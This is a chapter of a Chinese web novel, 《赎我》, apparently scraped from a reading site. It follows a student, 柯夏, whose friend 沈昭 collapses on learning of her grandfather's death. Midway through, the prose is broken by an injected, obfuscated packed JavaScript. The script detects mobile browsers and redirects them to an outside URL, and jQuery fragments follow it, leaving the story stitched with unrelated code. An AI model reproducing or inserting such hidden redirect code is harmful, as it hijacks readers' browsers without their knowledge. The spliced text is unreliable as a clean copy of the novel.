42. 久别重逢
作品:《赎我》 “学姐好。”
“学姐好!”
法桐荫蔽里渗下一丝一丝的阳光。
女生脚步不缓,一面礼貌点头地应下新高一的招呼,一面轻快地弹跳上阶梯,马尾辫一晃一晃。
她背影很快融入金色的光线里。
“你认识她啊?”
“就是军训发言的学生代表呀,老有名了。”
她微微喘着气,继续一步两阶梯地向上爬。把交谈声远远甩在身后。
不消片刻,燕子一般的身影飞到了五楼,身体一压,推开了厚重的办公室门。
“来啦?”丁晴正训着新学生,见到柯夏,喜笑颜开。
她指了指一边儿,让不省心的新学生站远点,抽出一叠文件。
“嗯,丁老师。”柯夏微躬着身平缓气息:“您找我。”
“哦,也没什么别的事情。”丁晴扶了下眼镜,手指戳在名单上找到柯夏的名字,横着划过去一对:“我是看到你选课是选政史地,是吧?你是完全没有理科方面的就业打算吗?”
柯夏深吸了口气,重重点了点头:“是的。”
“这样子。老师是支持你的,但是要把性质跟你说明白。现在坦诚来说呢,对普通人来说,性价比比较高的专业,那都是跟理工科挂钩的。你擅长文科板上钉钉的,没什么问题。但就这么放弃掉生物,有点可惜了。”
丁晴说完,抬起头。小姑娘到了高二看着沉稳了不少,当初的愣劲儿洗刷去了三分。
听完,果然也眉眼蹙紧,思考起来。
看着足站了五分钟也没法抉择的学生,丁晴合上资料,手指在表格上点了点。
“这样好了,分班我先按全文科给你报,也帮你说一下。之后你要是改变主意了呢,再过来找老师。但是注意时间不要超过一个月啊,不然系统要关闭了,就麻烦了。”
柯夏思忖两秒,遂咬着唇绽出一个甜甜的笑:“谢谢老师,我会尽快想好的。”
光是看着这个学生,丁晴就打心眼儿里喜欢。一笑,更是怎么看都顺眼得不得了。
语气一下子就温柔下来了:“对了,老师得恭喜你啊,之前你还以为分班哭得那么伤心,这次分班如愿了吧?”
柯夏眉眼温和:“谢谢老师。但……我对分班其实没有那么有执念了。”
丁晴跟着笑了笑,笔尖在纸上闲散地戳。
“是啊,分班其实没有那么重要。这么想就对了,不要成为执念把自己逼太紧。就像旧高二那两个不省心的一样……”
谈到这儿,丁晴笔尖戳纸的动作蓦地停顿。
柯夏垂眸望着那处晕染的墨块,半晌,掀了掀睫:“老师说什么?”
“唉。”丁晴指间夹着笔摇了摇手。
“不说也罢。”
又道:“对了,你去看过荣誉榜没有?”她指了指窗外,大门的方向:“那边荣誉榜更新了。”
“还没来得及。”柯夏笑道:“老师,那我先走了,有事再叫我。”
“等下等下,来,柚子拿走。”
……
柯夏捧着柚子,背靠着将办公室门合上。
两个新高一正好嬉闹着从她面前飞奔而过,衣角挎起的风将发丝吹贴在她脸上。
柯夏被发丝迷得微微迷茫。
北边不如南边,少人。清净得几乎萧瑟,几株疏于打理的树木贴着墙角生长,枝叶甚至穿透防盗窗。
这却是她第一次发现这里原来是无聊的。
静立了片刻,她重新迈开腿,从回廊走下去。穿过银杏林,穿过绿茵场,站到了临近国际部的告示墙边,微微踮起脚望。
她先看的是高三。
理科第一名,王薄。
她站在这个名字前愣了数秒。
随后,又自然地撤开眼,将视线转向高二栏。
“柯夏”两个大字,就这样静立在文科第一名的金色底座上。
沈昭的名字在理科第三十名,被分到了高二(五)班。
想到沈昭会怎么样跟爷爷哭诉,柯夏忍不住勾了勾唇角。放下了贴在荣誉墙上的指尖,扭头,快速地拔腿往寝室走。
一路上,花香鸟鸣。
柯夏第一次知道成功的感觉是这样的。
连风吹树叶的摩挲声,都像是鼓掌。
她想见到沈昭,现在就想。
到寝室的时候,程鹿露正坐在上铺铺床。床单一掀一放,就是个大喷嚏。
满眼眶打喷嚏出来的泪水里,朦朦胧胧地进来个人影儿。
程鹿露揉了下眼睛,看清人后叫道:“哎呀我们的第一名来啦?”
柯夏扭脸看向她,不好意思地道谢。又问:“昭昭呢?”
“不知道啊,刚刚还看在这儿呢。”程鹿露瞄了眼沈昭床上的垃圾堆。歪着脑袋回忆起来。
两秒后,她指了指外边:“我想起来了,好像她出门接电话去了,你去走廊尽头看看。”
柯夏又走出寝室,左右一看。
来往的不少是高一新生,叽叽喳喳,人影重叠。外面又亮得可怕。
柯夏眨了好几下眼睛,才看清走廊尽头确实有个像拿着电话的人影。
再眨一下,又看清了是栗色的长卷发大波浪。
便走一路掰开一路的人,费尽千辛万苦到沈昭身边了。
沈昭手指握着电话,察觉到身后有人来,扭头看了眼她。
看到人时,瞳孔微微放大,却只是拍了拍她,另转了一边儿继续打电话。
柯夏便靠在边上,歪着脑袋等她打完。
但很快,她感觉不对劲。沈昭的耳尖越来越红,脸色越来越白。
柯夏立即从坐着改成站着,拉住沈昭手臂将她转过来。
沈昭被她拉得转过身后,手机屏幕恰好一暗。
通话结束。
柯夏这才发现她脸嘴唇都苍白了,拧着眉问:“怎么了?”
沈昭浑身无血色地望着她,半晌叫了句:“悄悄。”
便倒了下去。
……
沈昭再睁开眼,是白色的天花板。
柯夏的手适时伸过来,擦去她的汗:“醒了。”
“我……在哪儿呢。”
“医务室规格太小了,送校外太折腾。我们三个一商量,把你抬国际部的医院来了。”
什么字眼戳中了沈昭,她忽地抬起手,掩面。
源源不断的液体从指缝渗出来。
“悄悄。”
“我在。”
“刚刚的电话,他们说爷爷走了。”
“……”
柯夏抽了张纸,替她吸附掉染皱了皮肤的泪水。又抽了张新的纸,塞进她掌心里,顺势握住她的手。
“我知道了。哭吧。哭完了,我陪你去请假。”
沈昭反攥住她的手,拼命摇头。
“不想回去吗?”柯夏思忖两秒,“没事,要不我去帮你看看爷爷吧。你在学校缓一缓。”
“不行。”
沈昭的泪像永远止不住了。
断了线的珠子似的,从她面颊滚滚而落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173530|196091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
越哭,越是眼底猩红一片。
柯夏终于意识到不对劲了,脸色微变。
沈昭攥着她的手,但更像掐,痛感传递进了柯夏的大脑皮层。
察觉到自己在伤害柯夏,沈昭又松开她,举起胳膊死死咬住不出声。
就这么继续无声啜泣了许久。
她才从五脏六腑中挤出一句话。
“悄悄。我有了好几个哥哥,和弟弟。在爷爷咽气的那一秒,不,前几秒,我爸带着他们,去给爷爷送终。他带去的时候,爷爷的眼睛还睁着。”
柯夏的心像是被人猛揍了一拳。
半晌,她才反应过来,把沈昭咬在嘴里的手腕抢过来。她用手捂着她的手,却发现自己的手比沈昭的手更凉,像死了三天一样凉。
“没……没事的。”她张着嘴,说着安慰的话。
却在说了两句后,倏地站起身。
“我去给你刷卡缴费。”
沈昭啜泣着歪过身体,从包里掏出学生卡,递到柯夏手里。
柯夏拿着卡走出门,才发觉后背出了密密麻麻一片冷汗。
程鹿露就在外面等着。见她出来了迎上来:“昭昭醒了吗?”
“嗯。”
“怎么回事儿?……等一下,你的脸色怎么也那么差?”
“我没事,我去刷卡缴费。”柯夏抬脚。
程鹿露拉住她,四下扫视,将她手里的卡接过来,把柯夏按到休息区座椅上。
集英医院休息区正对着紫藤大道和图书馆钟楼,风景安谧优美。
程鹿露拍拍她的肩:“你坐会儿,我跟珍真去弄,放心吧。”
……
周围回归寂静。
远处程鹿露和白珍真忙碌的身影,伴着耳畔正报整点的悠远的钟声,让柯夏终于回了点魂。
她伸出手,手掌从下巴一路搂到了额头。水分淤积在掌沿,濡湿了耳边碎发。
此刻终于体会到身体在发抖。
她清楚地知道自己在害怕什么。
可是,如果,这样一路艰难的跋涉,还是连这种程度都承受不住。
她的一辈子都没有希望了。
柯夏将脸深深埋在掌心,捂着、贪恋着体温和汗水。
一片黑暗里,那个挡在她身前,消失得太久,到连记忆都快模糊了的身影,再次显现。
……
她濒死般捂着自己,直到真切地呼吸不过来。
才猛地转过身,拉开医院的窗户,大口呼吸着涌入的空气。
梧桐依然优雅地抖落着落叶。银杏林的黄连成一片,掩映着偏僻的小道。
一切如旧。
“……”柯夏半垂着眼,将视线潜入那条小径。
这半年,她的眼睛被驯化成了图书馆。
触碰到相应的东西,就自发地重温一遍。重温她的怯懦她的梦,重温那个不想忘掉的身影。
然而,这一次,她的眼睛出了问题。
柯夏趴在窗上,瞄着一处,心头微微一颤。
她以为出现幻觉了,动了动肩膀,调整角度。
眼前,散漫瘦长的背影披着松垮的校服外套,单肩挎包,缓缓没入银杏林。
柯夏清晰地看见球鞋的鞋底碾上青石板。
随着她调整动作的幅度,也没有消失。
“……”柯夏的呼吸停了一秒。
她揉了揉眼睛,又甩了甩脑袋,再睁开眼。
蓝白的色团仍在银杏林中穿梭。
她当即扭过身,踉踉跄跄向楼下奔跑。

